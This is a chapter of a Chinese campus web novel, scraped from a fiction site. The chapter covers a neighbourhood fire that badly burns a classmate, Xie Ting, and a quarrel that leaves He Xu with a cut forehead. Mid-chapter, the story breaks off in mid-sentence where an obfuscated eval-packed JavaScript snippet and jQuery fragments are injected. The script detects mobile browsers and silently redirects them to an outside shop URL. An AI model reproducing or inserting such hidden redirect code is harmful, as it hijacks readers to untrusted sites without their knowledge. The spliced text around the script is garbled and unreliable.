文趣网 > 都市小说 > 太阳是解药 > 27. 受伤
    今天石安还是坐何煦家车回家,不过她没有和往常一样看着窗外发呆,而是目不转睛地盯着何煦。

    等他注意到视线看过来,她就匆匆瞥过脸去。

    何煦悄悄看了眼司机叔叔的神色,拿手机给石安发了条短信。

    何煦:你别这样一直盯着我。

    然后他拍拍她书包示意她看手机。

    石安看了眼消息,转头道,“我没有啊!”

    何煦恼羞成怒,“你就有!”

    石安笑笑不说话,扭头看向窗外。

    唉,这个男孩,喜怒无常、懒散傲慢、大咧咧的,内心竟然也有这样柔软细腻的一面。

    她拿起手机给他敲字。

    石安:我不会背叛你,我的好朋友。

    何煦看见消息,手抖地点了收藏。他转头凝望她,石安手支着下巴,漫无目的地任视线飘向车窗外,嘴角噙着淡淡的笑。他小心把车窗关上,好像吹不到风就感受不到时间的流逝了。

    *

    十月末,秋意盛浓,温度适宜。石安每天放学后和江灵在校门口吃过晚饭,再一起回教室上自习。偶尔何煦会跟她们一起,江灵有意观察着他俩的动向,但是他俩在一起除了学习还是学习,真就一点闲话也不聊,一点暧昧的气氛也无。

    林以轩晚上都要去竞赛小组补习,为参加冬令营做准备。

    徐鹤年祭日这天,妈妈也没有回家,她工作太忙,也许是忙忘了,也许是走不开。

    石安忧心忡忡地在书桌上铺起一块黑布,拿出徐鹤年生前留给她的那盒塔罗牌。她是不信这个的,但父亲的爱好从小就潜移默化地影响着她,所以她现在没事也喜欢拿出来算算牌打发时间。

    洗干净牌后,塔罗牌在她手中利落地被分成三叠,又合拢,铺开。

    心中默念着,捻起一张揭开,正位死神牌。

    石安刚想松一口气,把牌收起来。

    楼下猝然响起尖锐的警笛声,她手一抖,塔罗牌尽数散落在地。

    不止一辆消防车,越来越近,近到警笛声都变成了噪音,像火一样钻进来了。

    石安走过去推开阳台的玻璃窗,夜风裹着一股呛人的焦糊味迎面扑来。

    橘红色的火光从小区门口那排店面里蹿出来,把对面居民楼的墙壁映成一片暗红,与黑色的夜晚搅在一起,浓烈得狰狞。第一次这么近地直面火灾,石安凝在原地。

    一片嘈杂中断断续续地传来哭声,那个面馆老板平日总是笑着的,此时她掩面扶着墙发颤。

    在她身后一抬担架被推出来,那人身上裹着灰色的毯子,只露出半张脸和一只手臂。脸色白得像纸,嘴唇下垂,眼睛空洞洞地大睁着,黑白分明,一种诡异的令人不安的面色。右手的袖子被火烧没了,露出的皮肤发皱,红得简直不像活人的皮肤。

    石安手握着栏杆滑到地上去,铁栏杆冰冰凉的,手心全是热汗。

    “听说是两口子吵架,男的喝了酒,摔了油壶,女的一把没拉住……”

    “女儿听到动静跑出来,被溅了一下,好在跑得快,就是胳膊烧了一片……”

    “造孽啊,才十几岁的小姑娘……”

    第二天石安走出小区,“刘家面馆”的废墟就那么摊在那里,突兀地嵌在完好的街道中间,旁边人的议论声接连不断。

    还好跑得快……她应该没什么大事,石安加快了脚步,走过这片嘈杂之地。

    谢婷的座位空着,上面堆满了书卷。一天过去了。

    一周过去了。

    “老师,你知道谢婷在哪家医院吗?我去给她送笔记和卷子。”

    ……

    一个月过去了。

    “月考你会来吗?”石安问躺在病床上的谢婷。

    她点点头,“马上就能好了,谢谢你这一个月的照顾……”

    石安“嗯”一声。

    谢婷扭头看向窗外,“班里有人问过我吗?问我为什么不来?”

    石安顿住,绞尽脑汁想了想,“有……有的吧?”

    ……

    12月月考这天,谢婷终于来学校了。天气转凉,大家都穿上厚外套,看不见她的右手臂,但露出来的每一根手指都被一层皱缩的疤痕覆盖,指甲陷在褶皱里。她走得慢,脖子侧面那条歪歪扭扭的白印子就跟着一张一弛的,像一条细细的蛇在爬。

    石安早就看习惯了,其他同学却是第一见,不由得都盯着她看。谢婷脸上莫名露出诡秘的笑。

    后面几个人小声说了句什么。声音压得极低,听不清字眼。监考老师开始拆卷子,哧啦一声撕破纸袋。大家才将注意力转回考试上。

    *

    考完试后学校门口的面馆里。

    “晚上咱去哪里玩儿?”徐子奇搅着碗里的面问。

    “去日月光唱歌?”周燃扒一口面,“或者去金山大桥那骑摩托车?”

    徐子奇往对面抬两下下巴,“你呢。”

    何煦不说话专心吃面。

    “别跟我说你又不出去。”徐子奇不耐烦道。

    何煦不在意地擦擦嘴巴,“嗯,上晚自习。”

    徐子奇咯咯笑起来,“这么努力,你要考北大还是清华?”

    “都行吧,反正我不挑。”何煦敷衍道。

    “何煦!你也在这啊。”一个扎着麻花辫的女生走来他们这桌。

    何煦闻声愣愣地点点头,这是他们班的常驻班级第一,徐子奇喜欢的女生,梁心仪。

    “今天语文卷那作文,你怎么写的?”她问。

    “考完了,不说这些。”何煦摆摆手,“卷子批完了我再给你看。”

    何煦进步主要是靠文科,他擅长用笨方法死记硬背,这几天梁心仪一直来找他讨论语文作文、政治历史论证题之类。

    “晚上你还去3班上晚自习吗?”梁心仪问,“今天我们班是刘硕管班,可以去找他问题。”

    “啊……”何煦装作认真想了想,然后摇摇头,“不去。”

    梁心仪挤出一个微笑来,“哦,好吧。”转身走了。

    徐子奇有些不忍地看她一眼,然后恶狠狠盯着何煦,“我说,你看不出她对你有意思?”

    何煦歪头疑惑,“你哪看出来的?”

    徐子奇一撂筷子,“你不知道我喜欢她吗?”

    周燃见情况不对,坐得离徐子奇进了点,拍拍他肩膀,“好了,不吵这个,人家好学生一起学习讨论题目,你别想太多。”

    气氛微僵,何煦抱臂坐直了身子,冷笑着看他俩。

    徐子奇觉得挫败,他苦追了梁心仪两个多月,何煦不是不知道,凭什么他一努力学习,一孔雀开屏所有人都要盯着他看,凭什么所有人都要跟在他屁股后面。这个大少爷想干嘛就干嘛,想玩儿就把他们俩叫出去,想学习了就撂下他们俩一个人走了。

    我到底是他的朋友,还是他的陪衬?

    他脸色铁青,猝地站起身。

    *

    石安裹紧了围巾,伸出手哈了口气,她刚刚送谢婷回了医院,现在要赶去学校上晚自习。

    她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17611966|204661||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    自愿给她送了一个月笔记和试卷,谢婷表情一直淡淡的,只给她口头上感谢,她们的关系不咸不淡,完全算不上朋友。石安也不清楚自己为什么要帮她,到底是出于什么心理呢。

    冬日的晚上天黑的早,风不大却冷得锋利,割得人生疼。石安抬起自己的右手照在惨白的灯光下,皮肤变得青青的,少了些血色,但到底是健康的手。

    她低着头怅然若失地走。

    走到南座教学楼一楼拐角处,又看见了那道身影。石安这次莫名心慌,“你为什么老站这儿?”

    何煦听见动静没回头,走上楼梯,“没有,我也正准备去上自习。”

    “哦,今天考的怎么样?”她随口问。

    “还行吧。”何煦说。

    石安抬头看他,他有点不对劲,这人话什么时候这么少了?

    她学他样子一步跨两格台阶跟上去,借着灯光看清了他脸。

    “你,你额头怎么了!”她拉住何煦的胳膊。

    他额上盖着一块方形纱布,纱布中间洇出少量暗红色的血迹。

    “你去打架了?”石安呼吸变重,攥紧他衣袖,“你去打架竟然还给我挂彩!”

    何煦觉得好笑,轻轻叹气,“不是,是不小心撞到的。”

    确实没打架,刚才徐子奇猛地一起身,桌角顶到何煦腹部,他痛得没坐稳,塑料板凳往后打滑,上半身往前一栽,额头正中桌角,血就顺着鼻梁下来了。

    “疼不疼啊?”石安问。

    何煦听到关心,转过头来,双眼湿漉漉的,嘴角向下一撇,委屈死了。

    他虚虚长开双臂要贴过去,石安皱眉把他推开,“你都这样了还来上什么晚自习啊?”

    “我想来找你。”他说,眉眼间不加掩饰的脆弱感,令人心生怜悯。

    不知道为什么,就是想见她,就是心里难受,想要她抱抱自己。

    石安把脸扭开埋进围巾里,嘟囔着,“离我远点。”

    “你嫌弃我了,”何煦声音冷下来,有些局促地摸摸额角,“我受伤了变丑了?”

    石安匪夷所思地看他一眼,“你又不是鼻子被打歪了,什么丑不丑的。”

    “我都说了我没打架!”何煦瓮声瓮气道。

    “哦哦哦。”她应付地点点脑袋。

    “我跟他们绝交了。”他突然很硬气地说。

    石安挑眉,“是么。”

    “他们变了。”他说,“……我也变了。”

    “朋友都是阶段性的。”石安试着安慰他。

    何煦扬起脸,很骄傲地说,“对,我现在觉得他们幼稚。”

    石安觉得他很逗,明明你也很幼稚。

    何煦丝毫不觉得自己的话天真,还投入在一种沉郁的低气压中。

    他又转头深深地看着石安,“我现在只有你了。”

    石安脚步一顿,呆楞地对上他视线,“是吗……”

    何煦重复,“我最好的朋友,只有你了。”

    石安哑然,视线慌乱地跑去别处,空间太窄,她只能把脸埋得更低。

    楼道里又变得寂寥无声。

    “我们现在走到几楼了?”何煦声音闷闷地问。

    石安反应过来,忙抬头看楼层标牌,没忍住笑出来,“都到四楼了。”

    何煦憋着笑,“你看看有哪几间的教室灯亮着?”

    石安说,“408、409。”

    何煦点点头,记住了。不知道从什么时候开始,他下意识地记住和她在一起时的每个细节。